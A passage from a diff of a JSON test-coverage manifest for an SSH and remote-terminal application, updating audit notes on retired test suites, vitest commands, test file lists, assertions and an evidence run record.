runtime/folder/floating restoration, dead-leaf focus, cold/known-absent SSH deferral, title, default-tab marker, navigation initialization, and hydrationSucceeded scalar examples are removed; those specific alarms are lost. No actual target-removal transition, live SSH connection, session writer, or persisted restart is exercised by the retained cases. The old target-scoped/snapshot assertion references are retired because the current file does not contain those oracles. Other suites and historical runs do not establish equivalent replacement coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/hooks/ipc-events/direct-ssh-connect-reply-routing.test.ts removed. Initial and event-triggered partial-authority hydration fixture alarms disappear. src/renderer/src/components/terminal-pane/terminal-error-accumulation.test.ts removed. Multiline dedup/storm bounds, resource classification/collision, scoped clear/reconnect strip and1000-pane map count alarms disappear. No equivalent replacement coverage is claimed. Audit1396: src/renderer/src/components/terminal-pane/pty-connection-pending-spawn.spec.ts reduced. Lose standalone debug-state retention/log silence alarm. React StrictMode is not mounted; bindings manually simulate remount over mocked transport. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1400: src/main/ipc/ssh/ssh.test.ts reduced. Lose trivial missing target and mocked publication inventory. Preexisting unresolved ../ssh/ssh-port-scanner mock is recorded, not fixed. src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. src/renderer/src/store/slices/terminal-pty-identity-replacement.test.ts reduced. Removes three no-op/work-count registrations; retains externally observed ownership consistency. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/ssh/ssh-provider-authority.test.ts removed. Loses real AbortController revocation/target isolation/reentrancy outcomes, recreated-target generation-floor/session rollover behavior, stale mutation refusal and settled-registration cleanup alarms. These useful alarms are deliberately lost; no equivalent cancellation coverage is claimed. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1743 removes the standalone line-height clamp/default and pane cwd fallback helper tests (5 authored cases). These trivial-helper alarms are intentionally lost, with no equivalent replacement. Only current commands/testFiles lose the deleted selectors; historical receipts and evidenceRuns remain unchanged and do not validate the reduced commands.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-3107",
         "https://github.com/stablyai/orca/pull/12664",
@@ -9619,12 +9365,12 @@
         "https://github.com/stablyai/orca/issues/12902"
       ],
       "invariant": "SSH, WSL, and remote-runtime restore paths must treat provider listing failures and unknown liveness as unknown, not dead, while still avoiding duplicate spawn and clearing expired relay leases exactly once. Direct SSH disconnect, reconnect, and wake must keep PTY bindings and relay identity, and target snapshot hydration/reconnect cannot reset sibling SSH, local, WSL, or runtime-owned state. Every restored remote terminal must preserve its provider PTY identity, including the authoritative incarnation returned by a successful session-ID reattach. After a recoverable partition the same authenticated runtime must reattach the same PTY, reject detached input, apply the latest viewport, and report healthy only after authoritative replay. A successful one-shot reachability probe may replace a pre-ready shared-control socket, but waiting RPCs must continue onto the replacement under their original deadline without duplicate host delivery or retained request bytes. Automatic PTY recovery stops after one bounded minute without a fatal terminal error; a manual reconnect starts a newly fenced epoch against the same PTY, and closed panes retain no recovery UI state. Successful current-transport recovery must clear every stale error surfaced for that pane without clearing or displaying a sibling pane's error; a later genuine failure must remain visible. Each transport retains at most eight suppressed messages, each pane retains at most eight distinct messages, and the rendered surface retains at most 24 lines and 4,000 characters. One capability-gated terminal-create mutation must produce at most one host PTY across an unknown response outcome, remain manually retryable after cutoff, and never let a stale completion replace a newer pane lifecycle. Reconnect must alternate exact activation with authoritative inventory so neither a stale activation response nor an activation failure can strand or retire a pane, and activating a parked surface whose persisted binding was already retired must respawn it rather than report a changed owner after signalling its exit.",
-      "oracle": "Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Deterministic tests cover bounded stale-handle replacement, suspended heartbeat clocks, cold and established subscription failure, ten partition/recovery cycles, automatic-recovery cutoff, manual reconnect, and direct SSH binding retention. They assert SSH state changes leave PTY bindings in place, relay identity survives, and another target/local/WSL/runtime panes remain byte-identical through target snapshot hydration and reconnect. Both remount callbacks consume split-count activity suppression, intentional dispose emits no failure/timeout, and a same-attempt StrictMode remount still owns one timeout. Hydration clears an untrusted PTY hint without clearing its current pending owner, healthy current-authority bindings suppress correction, hydration finalizes once, and reconnect emits no paired close lifecycle. A provider-level session-ID reattach returns an incarnation, then a legacy exit without an incarnation must resolve to that returned identity rather than minting a fallback identity. The shared-control oracle withholds the first encrypted ready frame, starts one RPC, triggers the successful-probe refresh, then requires exactly two client connections, one host request, a successful response, zero pending calls, and zero retained request bytes. Tests also assert one unsubscribe per remote-runtime epoch, observable recovery phases, stable PTY identity, resumed snapshot/output/input, no healthy state before replay, no retry or input after cutoff, a new manual epoch against the same PTY, quiet recovery UI with an explicit Reconnect action, pane-close state cleanup, one stable create mutation id, old-runtime no-retry behavior, cross-process PTY adoption, and bounded in-flight coordination. A focused recovery oracle surfaces two distinct failures through one transport, completes authoritative replay, and requires both matching clear callbacks; pane-state tests require only the active pane's error to render, matching-pane recovery to preserve sibling and unrelated errors, dismissal to re-admit later failures, and distinct storms to retain only the newest eight messages within 24 lines and 4,000 characters. The retained store replacement assertion observes one atomic pane/tab subscriber publication; repeated rotations and snapshot-first pending-restart migration no longer have their direct store examples.",
+      "oracle": "Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Deterministic tests cover bounded stale-handle replacement, suspended heartbeat clocks, cold and established subscription failure, ten partition/recovery cycles, automatic-recovery cutoff, manual reconnect, and direct SSH binding retention. They assert SSH state changes leave PTY bindings in place, relay identity survives, and another target/local/WSL/runtime panes remain byte-identical through target snapshot hydration and reconnect. Both remount callbacks consume split-count activity suppression, intentional dispose emits no failure/timeout, and a same-attempt StrictMode remount still owns one timeout. Hydration clears an untrusted PTY hint without clearing its current pending owner, healthy current-authority bindings suppress correction, hydration finalizes once, and reconnect emits no paired close lifecycle. A provider-level session-ID reattach returns an incarnation, then a legacy exit without an incarnation must resolve to that returned identity rather than minting a fallback identity. The shared-control oracle withholds the first encrypted ready frame, starts one RPC, triggers the successful-probe refresh, then requires exactly two client connections, one host request, a successful response, zero pending calls, and zero retained request bytes. Tests also assert one unsubscribe per remote-runtime epoch, observable recovery phases, stable PTY identity, resumed snapshot/output/input, no healthy state before replay, no retry or input after cutoff, a new manual epoch against the same PTY, quiet recovery UI with an explicit Reconnect action, pane-close state cleanup, one stable create mutation id, old-runtime no-retry behavior, cross-process PTY adoption, and bounded in-flight coordination. A focused recovery oracle surfaces two distinct failures through one transport, completes authoritative replay, and requires both matching clear callbacks; pane-state tests require only the active pane's error to render, matching-pane recovery to preserve sibling and unrelated errors, dismissal to re-admit later failures, and distinct storms to retain only the newest eight messages within 24 lines and 4,000 characters. The retained store replacement assertion observes one atomic pane/tab subscriber publication; repeated rotations and snapshot-first pending-restart migration no longer have their direct store examples.",
       "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/resolved-worktree-execution-host.test.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/shared/remote-runtime/remote-runtime-client-error-classification.test.ts src/main/runtime/rpc/remote-runtime-server-heartbeat.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/ui/workspace-navigation-history-hydration.test.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/ssh/ssh.test.ts src/main/ipc/worktrees-ssh-repo-owner-resolution.test.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/preload/ssh-authority-forwarding.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts src/shared/ssh-retained-payload-admission.test.ts --reporter=dot",
         "pnpm exec electron-vite build --mode e2e",
@@ -9633,18 +9379,13 @@
       ],
       "testFiles": [
         "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts",
-        "src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts",
-        "src/renderer/src/lib/resolved-worktree-execution-host.test.ts",
         "src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts",
         "src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts",
         "src/renderer/src/components/terminal-pane/parking/one-shot-park-replay.test.ts",
         "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts",
         "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts",
         "src/renderer/src/store/terminals/terminal-pty-identity-replacement.test.ts",
         "src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts",
@@ -9669,44 +9410,13 @@
         {
           "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts",
           "assertions": [
-            "six panes sharing one dropped multiplex connection each resubscribe to a distinct live host handle",
             "a pane parked while the client slept is authoritatively activated and rematerialized without leaving any pane handle null"
           ]
         },
-        {
-          "file": "src/renderer/src/runtime/web-session-tabs-sync/agent-status/paired-reconnect-sidebar-agent-count.test.ts",
-          "assertions": [
-            "after a long sleep every live host PTY and tab retains its client-owned sidebar agent row"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts",
-          "assertions": [
-            "a stale web-mirror handle polls until a different ready handle is published without resubscribing the stale handle",
-            "replacement does not emit pane exit or disconnect callbacks and explicit terminal exit still retires the mirror",
-            "replacement polling and each in-flight request share a 15-second deadline, then accepted snapshots own recovery without input re-arming polling"
-          ]
-        },
         {
           "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts",
           "assertions": [
-            "recovery exposes connecting, recovering, backoff, connected, and fatal-offline phases with fenced epochs",
-            "ten partition cycles retain one PTY identity, reject detached input, and unsubscribe each epoch exactly once",
-            "automatic retries stop after one minute with no fatal error, no further requests, and no stale input",
-            "manual reconnect starts a new epoch, resubscribes the same PTY exactly once, and becomes healthy only after its snapshot"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts",
-          "assertions": [
-            "unknown terminal-create recovery stops all request activity after one minute without a fatal error, clips post-probe RPC timeouts to the remaining budget, then manual retry re-probes capability and reconciles the same mutation",
-            "an authoritative capability-probe failure replaces the stale connectivity error"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts",
-          "assertions": [
-            "a stale create completion cannot replace or close a newer attachment, including when two runtimes use the same raw handle"
+            "ten synthetic partition cycles retain one PTY identity, deliver each held detached input exactly once and release each epoch subscription exactly once; decoded live input/output remains current"
           ]
         },
         {
@@ -9767,15 +9477,8 @@
         {
           "file": "src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts",
           "assertions": [
-            "membership refresh prunes removed targets and reads only newly joined targets",
             "held replies from an old generation cannot replace a newer generation; failed full refresh preserves live state behind queued metadata",
-            "positive environment and local state remain isolated; an unknown target triggers an authoritative list reread"
-          ]
-        },
-        {
-          "file": "src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts",
-          "assertions": [
-            "a provider result becomes stale when same-ID repo ownership turns malformed or contradictory during the await"
+            "an unknown target triggers an authoritative list reread"
           ]
         },
         {
@@ -9793,14 +9496,14 @@
       ],
       "evidenceRuns": [
         {
-          "date": "2026-08-23",
+          "date": "2026-11-11",
           "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/paired-reconnect-multi-pane-materialization.test.ts src/renderer/src/runtime/paired-reconnect-sidebar-agent-count.test.ts --reporter=dot",
+          "platform": "linux",
+          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot --maxWorkers=2",
+          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot",
           "result": "passed",
